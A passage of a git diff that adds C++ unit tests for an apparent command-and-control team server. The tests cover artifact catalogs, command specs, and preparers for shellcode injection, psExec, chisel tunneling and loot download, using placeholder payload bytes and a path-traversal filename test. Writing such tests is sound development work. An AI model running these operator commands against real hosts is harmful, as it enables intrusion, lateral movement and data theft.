makeRuntimeConfig(tempRoot.path()); + seedArtifacts(runtimeConfig); + + TeamServerArtifactCatalog catalog(runtimeConfig); + TeamServerArtifactQuery query; + query.category = "upload"; + query.nameContains = "operator-note"; + const std::vector artifacts = catalog.listArtifacts(query); + assert(artifacts.size() == 1); + + TeamServerArtifactService service(makeLogger(), TeamServerArtifactCatalog(runtimeConfig)); + teamserverapi::ArtifactSelector selector; + selector.set_artifact_id(artifacts[0].artifactId); + teamserverapi::ArtifactContent response; + assert(service.downloadArtifact(selector, &response).ok()); + assert(response.status() == teamserverapi::OK); + assert(response.name() == "operator-note.txt"); + assert(response.display_name() == "operator-note.txt"); + assert(response.data() == "upload"); + assert(response.DebugString().find(tempRoot.path().string()) == std::string::npos); + + teamserverapi::ArtifactSelector missingSelector; + missingSelector.set_artifact_id("missing"); + teamserverapi::ArtifactContent missingResponse; + assert(service.downloadArtifact(missingSelector, &missingResponse).ok()); + assert(missingResponse.status() == teamserverapi::KO); + assert(missingResponse.message() == "Artifact not found."); +} + +void testArtifactServiceUploadsOperatorArtifact() +{ + ScopedPath tempRoot(makeTempDirectory("service-upload")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + + TeamServerArtifactService service(makeLogger(), TeamServerArtifactCatalog(runtimeConfig)); + teamserverapi::ArtifactUploadRequest request; + request.set_name("../payload v1.exe"); + request.set_platform("windows"); + request.set_arch("amd64"); + request.set_data("uploaded-bytes"); + + teamserverapi::OperationAck response; + assert(service.uploadArtifact(request, &response).ok()); + assert(response.status() == teamserverapi::OK); + assert(response.message() == "Uploaded artifact stored: payload_v1.exe"); + assert((fs::path(runtimeConfig.uploadedArtifactsDirectoryPath) / "Windows" / "x64" / "payload_v1.exe").is_regular_file()); + + TeamServerArtifactCatalog catalog(runtimeConfig); + TeamServerArtifactQuery query; + query.category = "upload"; + query.platform = "windows"; + query.arch = "x64"; + query.nameContains = "payload"; + const std::vector artifacts = catalog.listArtifacts(query); + assert(artifacts.size() == 1); + assert(artifacts[0].name == "payload_v1.exe"); + assert(artifacts[0].scope == "operator"); + assert(artifacts[0].target == "beacon"); + assert(artifacts[0].runtime == "file"); +} + +void testArtifactServiceDeletesGeneratedArtifacts() +{ + ScopedPath tempRoot(makeTempDirectory("service-delete")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + + TeamServerGeneratedArtifactStore store(runtimeConfig); + TeamServerGeneratedArtifactRequest request; + request.nameHint = "Seatbelt.exe.bin"; + request.bytes = "service-generated-shellcode"; + request.source = "donut"; + const TeamServerGeneratedArtifactRecord record = store.store(request); + assert(!record.artifactId.empty()); + + TeamServerArtifactService service(makeLogger(), TeamServerArtifactCatalog(runtimeConfig)); + teamserverapi::ArtifactSelector selector; + selector.set_artifact_id(record.artifactId); + teamserverapi::OperationAck response; + assert(service.deleteGeneratedArtifact(selector, &response).ok()); + assert(response.status() == teamserverapi::OK); + assert(response.message() == "Generated artifact deleted."); + assert(!fs::exists(record.path)); + + teamserverapi::OperationAck missingResponse; + assert(service.deleteGeneratedArtifact(selector, &missingResponse).ok()); + assert(missingResponse.status() == teamserverapi::KO); + assert(missingResponse.message() == "Artifact not found."); +} +} // namespace + +int main() +{ + testCatalogIndexesReleaseRoots(); + testCatalogFiltersArtifacts(); + testCatalogIndexesAndDeletesGeneratedArtifacts(); + testCatalogDeletesHostedArtifacts(); + testCatalogDeletesUploadedArtifacts(); + testArtifactServiceStreamsPublicMetadataOnly(); + testArtifactServiceDownloadsArtifactPayload(); + testArtifactServiceUploadsOperatorArtifact(); + testArtifactServiceDeletesGeneratedArtifacts(); + return 0; +} diff --git a/teamServer/tests/TeamServerCommandCatalogTests.cpp b/teamServer/tests/TeamServerCommandCatalogTests.cpp new file mode 100644 index 0000000..3086064 --- /dev/null +++ b/teamServer/tests/TeamServerCommandCatalogTests.cpp @@ -0,0 +1,315 @@ +#include +#include +#include +#include +#include +#include +#include +#include + +#include "TeamServerCommandCatalog.hpp" +#include "TeamServerCommandCatalogService.hpp" +#include "spdlog/logger.h" + +namespace fs = std::filesystem; + +namespace +{ +class ScopedPath +{ +public: + explicit ScopedPath(fs::path path) + : m_path(std::move(path)) + { + std::error_code ec; + fs::remove_all(m_path, ec); + fs::create_directories(m_path); + } + + ~ScopedPath() + { + std::error_code ec; + fs::remove_all(m_path, ec); + } + + const fs::path& path() const + { + return m_path; + } + +private: + fs::path m_path; +}; + +fs::path makeTempDirectory(const std::string& name) +{ + return fs::temp_directory_path() / ("c2teamserver-command-catalog-" + name + "-" + std::to_string(::getpid())); +} + +std::shared_ptr makeLogger() +{ + auto logger = std::make_shared("command-catalog-tests"); + logger->set_level(spdlog::level::off); + return logger; +} + +TeamServerRuntimeConfig makeRuntimeConfig(const fs::path& root) +{ + TeamServerRuntimeConfig runtimeConfig; + runtimeConfig.commandSpecsDirectoryPath = (root / "CommandSpecs").string(); + fs::create_directories(runtimeConfig.commandSpecsDirectoryPath); + return runtimeConfig; +} + +void writeFile(const fs::path& path, const std::string& content) +{ + fs::create_directories(path.parent_path()); + std::ofstream output(path, std::ios::binary); + output << content; +} + +void seedCommandSpecs(const TeamServerRuntimeConfig& runtimeConfig) +{ + writeFile( + fs::path(runtimeConfig.commandSpecsDirectoryPath) / "common" / "sleep.json", + R"JSON({ + "name": "sleep", + "display_name": "sleep", + "kind": "common", + "description": "Set beacon sleep interval.", + "command_template": "sleep {seconds}", + "target": "beacon", + "requires_session": true, + "platforms": ["windows", "linux"], + "archs": ["any"], + "args": [ + { + "name": "seconds", + "type": "number", + "required": true, + "description": "Sleep interval.", + "completion_parents": ["interval"], + "artifact_filter": { + "category": "tool", + "scope": "server", + "target": "teamserver", + "platform": "windows", + "arch": "any", + "runtime": "any", + "format": "exe", + "name_contains": ".exe" + } + } + ], + "examples": ["sleep 0.5"], + "source": "manifest" +})JSON"); + writeFile( + fs::path(runtimeConfig.commandSpecsDirectoryPath) / "common" / "end.json", + R"JSON({ + "name": "end", + "kind": "common", + "description": "Terminate beacon.", + "command_template": "end", + "target": "beacon", + "requires_session": true, + "platforms": ["windows", "linux"], + "archs": ["any"], + "args": [], + "examples": ["end"], + "source": "manifest" +})JSON"); + writeFile( + fs::path(runtimeConfig.commandSpecsDirectoryPath) / "modules" / "psExec.json", + R"JSON({ + "name": "psExec", + "kind": "module", + "description": "Copy and run a service executable.", + "command_template": "psExec {auth_mode} {username:q?} {password:q?} {target:q} {service_artifact:q}", + "target": "beacon", + "requires_session": true, + "platforms": ["windows"], + "archs": ["x86", "x64"], + "args": [ + { + "name": "service_artifact", + "type": "artifact", + "required": true, + "description": "Service executable artifact.", + "artifact_filters": [ + { + "category": "tool", + "scope": "server", + "target": "teamserver", + "platform": "windows", + "arch": "session.arch", + "runtime": "any", + "name_contains": ".exe" + }, + { + "category": "upload", + "scope": "operator", + "target": "beacon", + "platform": "session.platform", + "arch": "session.arch", + "runtime": "file", + "name_contains": ".exe" + } + ] + } + ], + "examples": ["psExec -n fileserver service.exe"], + "source": "manifest" +})JSON"); + writeFile(fs::path(runtimeConfig.commandSpecsDirectoryPath) / "common" / "broken.json", "{"); +} + +const TeamServerCommandSpecRecord* findCommand( + const std::vector& commands, + const std::string& name) +{ + for (const TeamServerCommandSpecRecord& command : commands) + { + if (command.name == name) + return &command; + } + return nullptr; +} + +void testCommandCatalogLoadsManifestSpecs() +{ + ScopedPath tempRoot(makeTempDirectory("loads")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + seedCommandSpecs(runtimeConfig); + + TeamServerCommandCatalog catalog(runtimeConfig); + const std::vector commands = catalog.listCommands(); + + assert(commands.size() == 3); + + const TeamServerCommandSpecRecord* sleep = findCommand(commands, "sleep"); + assert(sleep != nullptr); + assert(sleep->kind == "common"); + assert(sleep->target == "beacon"); + assert(sleep->commandTemplate == "sleep {seconds}"); + assert(sleep->requiresSession); + assert(sleep->platforms.size() == 2); + assert(sleep->args.size() == 1); + assert(sleep->args[0].name == "seconds"); + assert(sleep->args[0].type == "number"); + assert(sleep->args[0].required); + assert(sleep->args[0].hasArtifactFilter); + assert(sleep->args[0].artifactFilter.category == "tool"); + assert(sleep->args[0].artifactFilter.scope == "server"); + assert(sleep->args[0].artifactFilter.target == "teamserver"); + assert(sleep->args[0].artifactFilter.platform == "windows"); + assert(sleep->args[0].artifactFilter.arch == "any"); + assert(sleep->args[0].artifactFilter.runtime == "any"); + assert(sleep->args[0].artifactFilter.nameContains == ".exe"); + assert(sleep->args[0].artifactFilters.size() == 1); + assert(sleep->args[0].completionParents.size() == 1); + assert(sleep->args[0].completionParents[0] == "interval"); + assert(sleep->examples.size() == 1); + + const TeamServerCommandSpecRecord* end = findCommand(commands, "end"); + assert(end != nullptr); + assert(end->args.empty()); + + const TeamServerCommandSpecRecord* psExec = findCommand(commands, "psExec"); + assert(psExec != nullptr); + assert(psExec->args.size() == 1); + assert(psExec->args[0].hasArtifactFilter); + assert(psExec->args[0].artifactFilters.size() == 2); + assert(psExec->args[0].artifactFilters[0].category == "tool"); + assert(psExec->args[0].artifactFilters[0].arch == "session.arch"); + assert(psExec->args[0].artifactFilters[1].category == "upload"); + assert(psExec->args[0].artifactFilters[1].scope == "operator"); +} + +void testCommandCatalogFiltersSpecs() +{ + ScopedPath tempRoot(makeTempDirectory("filters")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + seedCommandSpecs(runtimeConfig); + + TeamServerCommandCatalog catalog(runtimeConfig); + TeamServerCommandQuery query; + query.kind = "common"; + query.platform = "windows"; + query.nameContains = "sle"; + + const std::vector commands = catalog.listCommands(query); + assert(commands.size() == 1); + assert(commands[0].name == "sleep"); + + query.platform = "unsupported"; + assert(catalog.listCommands(query).empty()); +} + +void testCommandCatalogServiceStreamsProto() +{ + ScopedPath tempRoot(makeTempDirectory("service")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + seedCommandSpecs(runtimeConfig); + + TeamServerCommandCatalogService service(makeLogger(), TeamServerCommandCatalog(runtimeConfig)); + teamserverapi::CommandQuery query; + query.set_name_contains("sleep"); + + std::vector commands; + assert(service.listCommands(query, [&](const teamserverapi::CommandSpec& command) + { + commands.push_back(command); + return true; + }).ok()); + + assert(commands.size() == 1); + assert(commands[0].name() == "sleep"); + assert(commands[0].kind() == "common"); + assert(commands[0].requires_session()); + assert(commands[0].command_template() == "sleep {seconds}"); + assert(commands[0].args_size() == 1); + assert(commands[0].args(0).name() == "seconds"); + assert(commands[0].args(0).type() == "number"); + assert(commands[0].args(0).artifact_filter().category() == "tool"); + assert(commands[0].args(0).artifact_filter().scope() == "server"); + assert(commands[0].args(0).artifact_filter().target() == "teamserver"); + assert(commands[0].args(0).artifact_filter().platform() == "windows"); + assert(commands[0].args(0).artifact_filter().arch() == "any"); + assert(commands[0].args(0).artifact_filter().runtime() == "any"); + assert(commands[0].args(0).artifact_filter().format() == "exe"); + assert(commands[0].args(0).artifact_filter().name_contains() == ".exe"); + assert(commands[0].args(0).artifact_filters_size() == 1); + assert(commands[0].args(0).artifact_filters(0).category() == "tool"); + assert(commands[0].args(0).completion_parents_size() == 1); + assert(commands[0].args(0).completion_parents(0) == "interval"); + assert(commands[0].DebugString().find(tempRoot.path().string()) == std::string::npos); + + teamserverapi::CommandQuery psExecQuery; + psExecQuery.set_name_contains("psexec"); + commands.clear(); + assert(service.listCommands(psExecQuery, [&](const teamserverapi::CommandSpec& command) + { + commands.push_back(command); + return true; + }).ok()); + + assert(commands.size() == 1); + assert(commands[0].name() == "psExec"); + assert(commands[0].args_size() == 1); + assert(commands[0].args(0).artifact_filter().category() == "tool"); + assert(commands[0].args(0).artifact_filters_size() == 2); + assert(commands[0].args(0).artifact_filters(0).category() == "tool"); + assert(commands[0].args(0).artifact_filters(1).category() == "upload"); + assert(commands[0].args(0).artifact_filters(1).scope() == "operator"); + assert(commands[0].args(0).artifact_filters(1).runtime() == "file"); +} +} // namespace + +int main() +{ + testCommandCatalogLoadsManifestSpecs(); + testCommandCatalogFiltersSpecs(); + testCommandCatalogServiceStreamsProto(); + return 0; +} diff --git a/teamServer/tests/TeamServerCommandPreparationServiceTests.cpp b/teamServer/tests/TeamServerCommandPreparationServiceTests.cpp index 21a5926..48abf0b 100644 --- a/teamServer/tests/TeamServerCommandPreparationServiceTests.cpp +++ b/teamServer/tests/TeamServerCommandPreparationServiceTests.cpp @@ -1,11 +1,24 @@ #include #include #include +#include #include +#include #include #include +#include "TeamServerAssemblyExecCommandPreparer.hpp" +#include "TeamServerArtifactCatalog.hpp" +#include "TeamServerChiselCommandPreparer.hpp" #include "TeamServerCommandPreparationService.hpp" +#include "TeamServerFileArtifactService.hpp" +#include "TeamServerFileTransferCommandPreparer.hpp" +#include "TeamServerGeneratedArtifactStore.hpp" +#include "TeamServerInjectCommandPreparer.hpp" +#include "TeamServerMiniDumpCommandPreparer.hpp" +#include "TeamServerModuleArtifactCommandPreparer.hpp" +#include "TeamServerScriptCommandPreparer.hpp" +#include "TeamServerShellcodeService.hpp" namespace fs = std::filesystem; @@ -69,6 +82,42 @@ class FakeModule final : public ModuleCmd std::string m_capturedWindowsArch; }; +class FakeShellcodeModule final : public ModuleCmd +{ +public: + explicit FakeShellcodeModule(std::string name) + : ModuleCmd(std::move(name)) + { + } + + std::string getInfo() override + { + return "fake shellcode"; + } + + int init(std::vector&, C2Message& c2Message) override + { + c2Message.set_returnvalue("plain init should not be used"); + return -1; + } + + int initPreparedShellcode(const ModulePreparedShellcodeTask& task, C2Message& c2Message) override + { + c2Message.set_instruction(getName()); + c2Message.set_cmd(task.displayCommand); + c2Message.set_args(task.executionMode); + c2Message.set_pid(task.pid); + c2Message.set_inputfile(task.inputFile); + c2Message.set_data(task.payload); + return 0; + } + + int process(C2Message&, C2Message&) override + { + return 0; + } +}; + fs::path makeTempDirectory(const std::string& name) { fs::path root = fs::temp_directory_path() / ("c2teamserver-prep-" + name + "-" + std::to_string(::getpid())); @@ -83,13 +132,78 @@ std::shared_ptr makeLogger() return logger; } +class FakeShellcodeService final : public TeamServerShellcodeService +{ +public: + FakeShellcodeService() + : TeamServerShellcodeService(makeLogger()) + { + nextResult.ok = true; + nextResult.bytes = "FAKE-SHELLCODE"; + nextResult.generator = "donut"; + nextResult.sourceType = "dotnet_exe"; + nextResult.sha256 = std::string(64, 'f'); + } + + TeamServerShellcodeResult generate(const TeamServerShellcodeRequest& request) const override + { + lastRequest = request; + return nextResult; + } + + mutable TeamServerShellcodeRequest lastRequest; + TeamServerShellcodeResult nextResult; +}; + void writeFile(const fs::path& path, const std::string& content) { - fs::create_directories(path.parent_path()); + if (!path.parent_path().empty()) + fs::create_directories(path.parent_path()); std::ofstream output(path, std::ios::binary); output << content; } +void require(bool condition, const char* message) +{ + if (!condition) + throw std::runtime_error(message); +} + +std::vector splitNullFields(const std::string& value) +{ + std::vector fields; + std::string current; + for (char ch : value) + { + if (ch == '\0') + { + fields.push_back(current); + current.clear(); + } + else + { + current += ch; + } + } + fields.push_back(current); + return fields; +} + +TeamServerRuntimeConfig makeRuntimeConfig(const fs::path& root) +{ + TeamServerRuntimeConfig runtimeConfig; + runtimeConfig.teamServerModulesDirectoryPath = (root / "TeamServerModules").string(); + runtimeConfig.linuxModulesDirectoryPath = (root / "LinuxModules").string() + "/"; + runtimeConfig.windowsModulesDirectoryPath = (root / "WindowsModules").string() + "/"; + runtimeConfig.linuxBeaconsDirectoryPath = (root / "LinuxBeacons").string() + "/"; + runtimeConfig.windowsBeaconsDirectoryPath = (root / "WindowsBeacons").string() + "/"; + runtimeConfig.toolsDirectoryPath = (root / "Tools").string() + "/"; + runtimeConfig.scriptsDirectoryPath = (root / "Scripts").string() + "/"; + runtimeConfig.uploadedArtifactsDirectoryPath = (root / "UploadedArtifacts").string() + "/"; + runtimeConfig.generatedArtifactsDirectoryPath = (root / "GeneratedArtifacts").string() + "/"; + return runtimeConfig; +} + void testPrepareCommonCommand() { ScopedPath tempRoot(makeTempDirectory("common")); @@ -97,13 +211,60 @@ void testPrepareCommonCommand() std::vector> modules; TeamServerCommandPreparationService service( makeLogger(), - tempRoot.path().string(), + makeRuntimeConfig(tempRoot.path()), commonCommands, modules); C2Message message; assert(service.prepareMessage("sleep 0.5", message, true) == 0); assert(message.instruction() == SleepCmd); + + C2Message zeroSleepMessage; + assert(service.prepareMessage("sleep 0", zeroSleepMessage, true) == 0); + assert(zeroSleepMessage.instruction() == SleepCmd); + + C2Message invalidSleepMessage; + assert(service.prepareMessage("sleep abc", invalidSleepMessage, true) == -1); + assert(invalidSleepMessage.instruction().empty()); + assert(invalidSleepMessage.returnvalue().find("Invalid sleep interval") != std::string::npos); + + C2Message partialSleepMessage; + assert(service.prepareMessage("sleep 1abc", partialSleepMessage, true) == -1); + assert(partialSleepMessage.instruction().empty()); + assert(partialSleepMessage.returnvalue().find("Invalid sleep interval") != std::string::npos); + + C2Message negativeSleepMessage; + assert(service.prepareMessage("sleep -1", negativeSleepMessage, true) == -1); + assert(negativeSleepMessage.instruction().empty()); + assert(negativeSleepMessage.returnvalue().find("Invalid sleep interval") != std::string::npos); + + C2Message listenerMessage; + assert(service.prepareMessage("listener start tcp 0.0.0.0 4444", listenerMessage, true) == 0); + assert(listenerMessage.instruction() == ListenerCmd); + assert(listenerMessage.cmd() == "STA tcp 0.0.0.0 4444"); + + C2Message smbListenerMessage; + assert(service.prepareMessage("listener start smb titi", smbListenerMessage, true) == 0); + assert(smbListenerMessage.instruction() == ListenerCmd); + assert(smbListenerMessage.cmd() == "STA smb beacon titi"); + + C2Message oldSmbListenerMessage; + assert(service.prepareMessage("listener start smb host titi", oldSmbListenerMessage, true) == -1); + assert(oldSmbListenerMessage.instruction().empty()); + assert(oldSmbListenerMessage.returnvalue() == "Usage: listener start smb "); + + C2Message invalidPortMessage; + assert(service.prepareMessage("listener start tcp 0.0.0.0 notaport", invalidPortMessage, true) == -1); + assert(invalidPortMessage.instruction().empty()); + assert(invalidPortMessage.returnvalue() == "Error: Invalid TCP listener port. Expected an integer between 1 and 65535."); + + C2Message zeroPortMessage; + assert(service.prepareMessage("listener start tcp 0.0.0.0 0", zeroPortMessage, true) == -1); + assert(zeroPortMessage.instruction().empty()); + + C2Message highPortMessage; + assert(service.prepareMessage("listener start tcp 0.0.0.0 65536", highPortMessage, true) == -1); + assert(highPortMessage.instruction().empty()); } void testPrepareModuleCommandCaseInsensitive() @@ -115,7 +276,7 @@ void testPrepareModuleCommandCaseInsensitive() TeamServerCommandPreparationService service( makeLogger(), - tempRoot.path().string(), + makeRuntimeConfig(tempRoot.path()), commonCommands, modules); @@ -133,7 +294,7 @@ void testPrepareMissingCommand() TeamServerCommandPreparationService service( makeLogger(), - tempRoot.path().string(), + makeRuntimeConfig(tempRoot.path()), commonCommands, modules); @@ -164,7 +325,7 @@ void testPrepareLoadModuleUsesWindowsSessionArchitecture() std::vector> modules; TeamServerCommandPreparationService service( makeLogger(), - (tempRoot.path() / "TeamServerModules").string(), + makeRuntimeConfig(tempRoot.path()), commonCommands, modules); @@ -185,6 +346,709 @@ void testPrepareLoadModuleUsesWindowsSessionArchitecture() assert(armMessage.data() == "ARM64DLL"); assert(commonCommands.getLastResolvedModulePath() == (windowsModulesRoot / "arm64" / "Inject.dll").string()); } + +void testPrepareLoadModuleUsesLinuxSessionArchitecture() +{ + ScopedPath tempRoot(makeTempDirectory("loadmodule-linux-arch")); + fs::path windowsModulesRoot = tempRoot.path() / "WindowsModules"; + fs::path linuxModulesRoot = tempRoot.path() / "LinuxModules"; + writeFile(linuxModulesRoot / "x64" / "libInject.so", "LINUX-X64"); + + CommonCommands commonCommands; + commonCommands.setDirectories( + (tempRoot.path() / "TeamServerModules").string(), + linuxModulesRoot.string() + "/", + windowsModulesRoot.string() + "/", + (tempRoot.path() / "LinuxBeacons").string() + "/", + (tempRoot.path() / "WindowsBeacons").string() + "/", + (tempRoot.path() / "Tools").string() + "/", + (tempRoot.path() / "Scripts").string() + "/"); + + std::vector> modules; + TeamServerCommandPreparationService service( + makeLogger(), + makeRuntimeConfig(tempRoot.path()), + commonCommands, + modules); + + C2Message message; + assert(service.prepareMessage("loadModule libInject.so", message, false, "amd64") == 0); + assert(message.instruction() == LoadC2ModuleCmd); + assert(message.inputfile() == "libInject.so"); + assert(message.data() == "LINUX-X64"); + assert(commonCommands.getLastResolvedModulePath() == (linuxModulesRoot / "x64" / "libInject.so").string()); +} + +void testPrepareAssemblyExecUsesShellcodeServiceAndGeneratedArtifactStore() +{ + ScopedPath tempRoot(makeTempDirectory("assemblyexec-preparer")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + writeFile(fs::path(runtimeConfig.toolsDirectoryPath) / "Windows" / "x64" / "payload.bin", "RAW-SHELLCODE"); + + CommonCommands commonCommands; + std::vector> modules; + modules.push_back(std::make_unique("assemblyExec")); + + auto shellcodeService = std::make_shared(makeLogger()); + auto artifactStore = std::make_shared(runtimeConfig); + std::vector> preparers; + preparers.push_back(std::make_unique( + makeLogger(), + runtimeConfig, + shellcodeService, + artifactStore, + modules)); + + TeamServerCommandPreparationService service( + makeLogger(), + runtimeConfig, + commonCommands, + modules, + std::move(preparers)); + + C2Message message; + assert(service.prepareMessage("assemblyExec --mode thread --raw payload.bin", message, true, "amd64") == 0); + assert(message.instruction() == "assemblyExec"); + assert(message.args() == "thread"); + assert(message.data() == "RAW-SHELLCODE"); + assert(message.cmd() == "--mode thread --raw payload.bin"); + assert(message.inputfile().find("GeneratedArtifacts") != std::string::npos); + assert(fs::exists(message.inputfile())); + assert(fs::exists(message.inputfile() + ".artifact.json")); + + TeamServerArtifactCatalog catalog(runtimeConfig); + TeamServerArtifactQuery query; + query.category = "payload"; + query.scope = "generated"; + query.runtime = "shellcode"; + const std::vector artifacts = catalog.listArtifacts(query); + assert(artifacts.size() == 1); + assert(artifacts[0].source == "raw"); + assert(artifacts[0].platform == "windows"); + assert(artifacts[0].arch == "x64"); +} + +void testPrepareAssemblyExecDonutReportsMissingSource() +{ + ScopedPath tempRoot(makeTempDirectory("assemblyexec-donut-missing")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + + CommonCommands commonCommands; + std::vector> modules; + modules.push_back(std::make_unique("assemblyExec")); + + auto shellcodeService = std::make_shared(makeLogger()); + auto artifactStore = std::make_shared(runtimeConfig); + std::vector> preparers; + preparers.push_back(std::make_unique( + makeLogger(), + runtimeConfig, + shellcodeService, + artifactStore, + modules)); + + TeamServerCommandPreparationService service( + makeLogger(), + runtimeConfig, + commonCommands, + modules, + std::move(preparers)); + + C2Message message; + assert(service.prepareMessage("assemblyExec --mode thread --donut-exe missing.exe", message, true, "x64") == -1); + assert(message.returnvalue().find("Couldn't open Donut source file.") != std::string::npos); +} + +void testPrepareInjectUsesShellcodeServiceAndGeneratedArtifactStore() +{ + ScopedPath tempRoot(makeTempDirectory("inject-preparer")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + writeFile(fs::path(runtimeConfig.toolsDirectoryPath) / "Windows" / "x64" / "payload.bin", "INJECT-SHELLCODE"); + + CommonCommands commonCommands; + std::vector> modules; + modules.push_back(std::make_unique("inject")); + + auto shellcodeService = std::make_shared(makeLogger()); + auto artifactStore = std::make_shared(runtimeConfig); + std::vector> preparers; + preparers.push_back(std::make_unique( + makeLogger(), + runtimeConfig, + shellcodeService, + artifactStore, + modules)); + + TeamServerCommandPreparationService service( + makeLogger(), + runtimeConfig, + commonCommands, + modules, + std::move(preparers)); + + C2Message message; + assert(service.prepareMessage("inject --raw payload.bin --pid 4321", message, true, "amd64") == 0); + assert(message.instruction() == "inject"); + assert(message.pid() == 4321); + assert(message.data() == "INJECT-SHELLCODE"); + assert(message.cmd() == "--raw payload.bin --pid 4321"); + assert(message.inputfile().find("GeneratedArtifacts") != std::string::npos); + assert(fs::exists(message.inputfile())); + assert(fs::exists(message.inputfile() + ".artifact.json")); + + TeamServerArtifactCatalog catalog(runtimeConfig); + TeamServerArtifactQuery query; + query.category = "payload"; + query.scope = "generated"; + query.runtime = "shellcode"; + const std::vector artifacts = catalog.listArtifacts(query); + assert(artifacts.size() == 1); + assert(artifacts[0].source == "raw"); + assert(artifacts[0].platform == "windows"); + assert(artifacts[0].arch == "x64"); + assert(artifacts[0].description == "Generated shellcode for inject."); +} + +void testPrepareInjectDonutReportsMissingSource() +{ + ScopedPath tempRoot(makeTempDirectory("inject-donut-missing")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + + CommonCommands commonCommands; + std::vector> modules; + modules.push_back(std::make_unique("inject")); + + auto shellcodeService = std::make_shared(makeLogger()); + auto artifactStore = std::make_shared(runtimeConfig); + std::vector> preparers; + preparers.push_back(std::make_unique( + makeLogger(), + runtimeConfig, + shellcodeService, + artifactStore, + modules)); + + TeamServerCommandPreparationService service( + makeLogger(), + runtimeConfig, + commonCommands, + modules, + std::move(preparers)); + + C2Message message; + assert(service.prepareMessage("inject --donut-exe missing.exe --pid 4321 -- arg1", message, true, "x64") == -1); + assert(message.returnvalue().find("Couldn't open Donut source file.") != std::string::npos); +} + +void testPrepareUploadUsesUploadedArtifact() +{ + ScopedPath tempRoot(makeTempDirectory("upload-preparer")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + writeFile(fs::path(runtimeConfig.uploadedArtifactsDirectoryPath) / "Any" / "any" / "operator.bin", "UPLOAD-BYTES"); + writeFile(fs::path(runtimeConfig.uploadedArtifactsDirectoryPath) / "Any" / "any" / "uploadedScript.sh", "SCRIPT-BYTES"); + + CommonCommands commonCommands; + std::vector> modules; + modules.push_back(std::make_unique("upload")); + + auto artifactStore = std::make_shared(runtimeConfig); + auto fileArtifactService = std::make_shared( + makeLogger(), + runtimeConfig, + artifactStore); + std::vector> preparers; + preparers.push_back(std::make_unique( + makeLogger(), + fileArtifactService, + modules)); + + TeamServerCommandPreparationService service( + makeLogger(), + runtimeConfig, + commonCommands, + modules, + std::move(preparers)); + + C2Message message; + require(service.prepareMessage("upload operator.bin C:\\Temp\\operator.bin", message, true, "amd64") == 0, "upload prepare failed"); + require(message.instruction() == "upload", "upload instruction mismatch"); + require(message.inputfile() == "operator.bin", "upload input artifact mismatch"); + require(message.outputfile() == "C:\\Temp\\operator.bin", "upload remote path mismatch"); + require(message.data() == "UPLOAD-BYTES", "upload bytes mismatch"); + + C2Message scriptUploadMessage; + require(service.prepareMessage("upload uploadedScript.sh /tmp/uploadedScript.sh", scriptUploadMessage, false, "amd64") == 0, "script-like upload artifact prepare failed"); + require(scriptUploadMessage.inputfile() == "uploadedScript.sh", "script-like upload input artifact mismatch"); + require(scriptUploadMessage.data() == "SCRIPT-BYTES", "script-like upload bytes mismatch"); + + C2Message missingMessage; + require(service.prepareMessage("upload missing.bin C:\\Temp\\missing.bin", missingMessage, true, "amd64") == -1, "missing upload artifact should fail"); + require(missingMessage.returnvalue().find("Upload artifact not found") != std::string::npos, "missing upload error mismatch"); +} + +void testPrepareDownloadCreatesGeneratedArtifactSlot() +{ + ScopedPath tempRoot(makeTempDirectory("download-preparer")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + + CommonCommands commonCommands; + std::vector> modules; + modules.push_back(std::make_unique("download")); + + auto artifactStore = std::make_shared(runtimeConfig); + auto fileArtifactService = std::make_shared( + makeLogger(), + runtimeConfig, + artifactStore); + std::vector> preparers; + preparers.push_back(std::make_unique( + makeLogger(), + fileArtifactService, + modules)); + + TeamServerCommandPreparationService service( + makeLogger(), + runtimeConfig, + commonCommands, + modules, + std::move(preparers)); + + C2Message message; + require(service.prepareMessage("download /tmp/loot.txt loot.txt", message, false, "amd64") == 0, "download prepare failed"); + require(message.instruction() == "download", "download instruction mismatch"); + require(message.inputfile() == "/tmp/loot.txt", "download input path mismatch"); + require(message.outputfile().find("GeneratedArtifacts/download/beacon") != std::string::npos, "download output path mismatch"); + require(fs::exists(message.outputfile() + ".artifact.pending.json"), "download pending metadata missing"); + + writeFile(message.outputfile(), "LOOT"); + C2Message result; + result.set_outputfile(message.outputfile()); + result.set_returnvalue("Success"); + std::string artifactMessage; + require(fileArtifactService->handleCommandResult(result, artifactMessage), "download result was not handled"); + require(artifactMessage.find("Downloaded artifact stored:") != std::string::npos, "download artifact message mismatch"); + require(!fs::exists(message.outputfile() + ".artifact.pending.json"), "download pending metadata was not removed"); + require(fs::exists(message.outputfile() + ".artifact.json"), "download artifact metadata missing"); + + TeamServerArtifactCatalog catalog(runtimeConfig); + TeamServerArtifactQuery query; + query.category = "download"; + query.scope = "generated"; + query.target = "teamserver"; + query.runtime = "file"; + const std::vector artifacts = catalog.listArtifacts(query); + require(artifacts.size() == 1, "download artifact catalog count mismatch"); + require(artifacts[0].source == "beacon", "download artifact source mismatch"); + require(artifacts[0].platform == "linux", "download artifact platform mismatch"); + require(artifacts[0].arch == "x64", "download artifact arch mismatch"); + require(artifacts[0].displayName == "loot.txt", "download artifact display name mismatch"); +} + +void testPrepareChiselUsesFixedToolAndShellcodeService() +{ + ScopedPath tempRoot(makeTempDirectory("chisel-preparer")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + const fs::path chiselPath = fs::path(runtimeConfig.toolsDirectoryPath) / "Windows" / "x64" / "chisel.exe"; + writeFile(chiselPath, "CHISEL-EXE"); + + CommonCommands commonCommands; + std::vector> modules; + modules.push_back(std::make_unique("chisel")); + + auto shellcodeService = std::make_shared(); + shellcodeService->nextResult.bytes = "CHISEL-SHELLCODE"; + auto artifactStore = 